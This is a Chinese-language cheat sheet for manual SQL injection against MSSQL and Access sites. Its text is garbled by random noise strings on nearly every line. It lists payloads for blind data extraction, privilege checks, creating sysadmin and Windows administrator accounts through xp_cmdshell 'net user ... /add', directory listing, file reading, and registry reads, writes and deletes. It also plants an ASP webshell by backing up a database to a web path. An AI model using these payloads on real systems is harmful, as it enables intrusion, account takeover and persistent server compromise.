手工脚本注入 3 s1 [6 T6 A1 l g
1.判断是否有注入;and 1=1 ;and 1=2 & }9 [0 Z+ h) ~+ ?
2 U& F \% S# ?& C( W
2.初步判断是否是mssql ;and user>0 / A# [- t% ~0 w
( \- B* y2 x% k" Y4 A
3.注入参数是字符'and [查询条件] and ''=' & {# i; \: F! q) R6 \
7 h. P' w2 V" N$ D, U0 ^" A
4.搜索时没过滤参数的'and [查询条件] and '%25'='
( A7 D! l& \9 U/ i6 m: f7 S! c7 ]7 Y3 l) j# O# X
5.判断数据库系统
2 X2 T4 s! c: W0 B% ]) _7 N' d;and (select count(*) from sysobjects)>0 mssql 9 |5 C5 B4 i* b* P
;and (select count(*) from msysobjects)>0 access
0 K( t# F# C7 B4 A* o& }1 M3 V; d) ?- E
6.猜数据库 ;and (select Count(*) from [数据库名])>0
7 e: Y* k: D5 T# H
9 m- Z9 r& [; a \) m3 k3 j3 I4 K- l7.猜字段 ;and (select Count(字段名) from 数据库名)>0 & R. n5 l* q# K- s& r
9 m9 j" V$ ~9 F8 q0 {2 L& i/ j# A8 \8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ( g' G p. o3 Z" K1 _( n
0 A H; T- g+ ` v, v t* m
9.(1)猜字段的ascii值(access) 6 W! }( a% l7 y* }) j
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 / h4 e. z% ], p! C! c5 T
3 `' s1 }0 p7 b) n
(2)猜字段的ascii值(mssql) R: |. T8 o7 y5 [
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
. |3 B# p/ u( K/ t9 G7 {
1 E! B8 s; W! h9 V4 }( V! c3 |10.测试权限结构(mssql) 4 Z5 M- A z6 z6 U9 E) g
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
0 w' M+ S. r6 I! L2 g6 H;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
a9 ~2 A! f8 f/ s;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 6 n! W! b$ B$ m8 I$ l1 _2 y
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
7 R" @) e- ?/ h9 q$ F3 k;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
9 K9 i' d; D9 H;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
, }, Z6 Z/ S2 H! I;and 1=(select IS_MEMBER('db_owner'));--
+ a* V: {# n8 o( g
( A3 Z) J8 R: E/ p v* Z4 V+ R' Z11.添加mssql和系统的帐户
& j' M9 ^3 p4 _% _' x- Z9 F;exec master.dbo.sp_addlogin username;--
& x0 ^0 w2 D3 a& K3 l b! v8 ^/ r3 b
;exec master.dbo.sp_password null,username,password;-- , y7 Y& Y8 W' X* z( S5 r" S. @! K u
% D4 ]5 f% ~! {1 O( Q8 |;exec master.dbo.sp_addsrvrolemember sysadmin username;--
4 n" L0 H& H; I9 [. Q/ m' p$ q+ t4 d1 y" S* D1 M
;exec master.dbo.xp_cmdshell 'net user username password
8 U3 e* c6 ?" y/ e1 A" P. f/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
+ }5 `- j X O& B0 X3 }; N* C! T4 o3 L8 I
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 1 u p, `2 `& W+ f, W# \
6 k$ f7 ~& \- D. E& \3 I;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
$ s, E/ l8 e5 y, i/ H0 _' K N: S+ d( {8 H' y, U, d/ X
12.(1)遍历目录
7 O& Q$ S( n( b; Q$ {2 f
1 h) x! V6 O& T, o* i) J! D;create table dirs(paths varchar(100), id int)
) G, [! J5 y8 Q7 E1 f: k;insert dirs exec master.dbo.xp_dirtree 'c:\' * r7 a0 t$ o2 {1 ]1 [! @2 n
;and (select top 1 paths from dirs)>0
( f* \; N7 G9 i$ [0 };and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 2 [% b' A" u: q q/ \% T0 L1 u
" K& |- H/ R7 L
(2)遍历目录 + \& r% F* e) p& u
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
' S/ E. j2 S. j5 `1 N;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7 ^) N0 T/ b+ \) Q
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 * L, o* l9 ^! L$ X) H& O
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
# y) g. n5 P: G, x* \! \;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 " ~$ m9 v8 g9 x5 w3 }
+ G2 {- n9 h6 }3 K3 {13.mssql中的存储过程
4 m+ U0 a, W: ^% q' a
7 e$ L" m* C; q4 rxp_regenumvalues 注册表根键, 子键 7 e( C! [ L6 S# r8 c
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
' C( d5 }6 w0 c; r5 ]0 K* ]
+ ~: v. U3 e& t$ z8 A% Fxp_regread 根键,子键,键值名 % |+ ]5 [% t1 m. v+ ~
;exec xp_regread
, p3 _( Y: E9 N: _3 T/ `'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
1 O2 X8 _# u3 o4 V7 e Z$ r" [0 H+ b U. j# I6 n- [2 T
xp_regwrite 根键,子键, 值名, 值类型, 值
3 B' N8 h. x- Z; O" @' f2 j值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ( y: n0 L+ [6 B |8 [
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
: [! O7 B5 M+ o: V4 E7 V
9 K9 @* Z. Y6 @# d% y2 dxp_regdeletevalue 根键,子键,值名
0 [) m6 ] o, H$ ]' k4 R$ S, H1 d/ J- X; s2 j
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 $ Y/ U3 Z$ ^+ o, e7 ^
$ u% j) _% A/ A q6 wxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 6 p' O0 b4 g6 Q8 c; B2 h" c5 r0 \
) L7 y3 |" O$ G2 P1 B/ h1 X% X
14.mssql的backup创建webshell
, o, J U, P8 Juse model : q: H- j& x& B0 y
create table cmd(str image); 3 B( e" i' y @, w" M6 S% e
insert into cmd(str) values ('');
. N4 b' y- m" _backup database model to disk='c:\l.asp'; ; x X7 k0 w0 k/ ]3 J; w" Z
6 u! A& F9 q9 j7 E
15.mssql内置函数 " }; s3 m( v7 f: M
;and (select @@version)>0 获得Windows的版本号 7 M5 }* X+ P6 l c7 z" q
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
$ Z8 H1 \; J5 k2 W( y2 ^- V3 o;and (select user_name())>0 爆当前系统的连接用户 1 w* h/ r) k/ P5 H! b
;and (select db_name())>0 得到当前连接的数据库 2 k$ ], g, z: b# D* x/ T3 j+ i8 O; m& ~6 {+ g
% ~7 J7 v5 }/ i( Q" p16.简洁的webshell
4 g5 \% G, ?4 D) |& y2 c+ X" w$ m$ n7 R
use model
6 q. i3 j5 z9 \- Q" C9 w
! z# O7 Y. x# M% m: @9 Z4 ?create table cmd(str image);
0 e9 f6 D- T; r. k0 k
" C% y# |0 J$ g4 b9 E4 Tinsert into cmd(str) values (''); % _8 r" ~7 C0 H
1 `5 f/ |- d/ s' {( S# Zbackup database model to disk='g:\wwwtest\l.asp';
. f" @' ?" y/ Y! E , o0 A+ m: i: x9 l, W. q9 H
|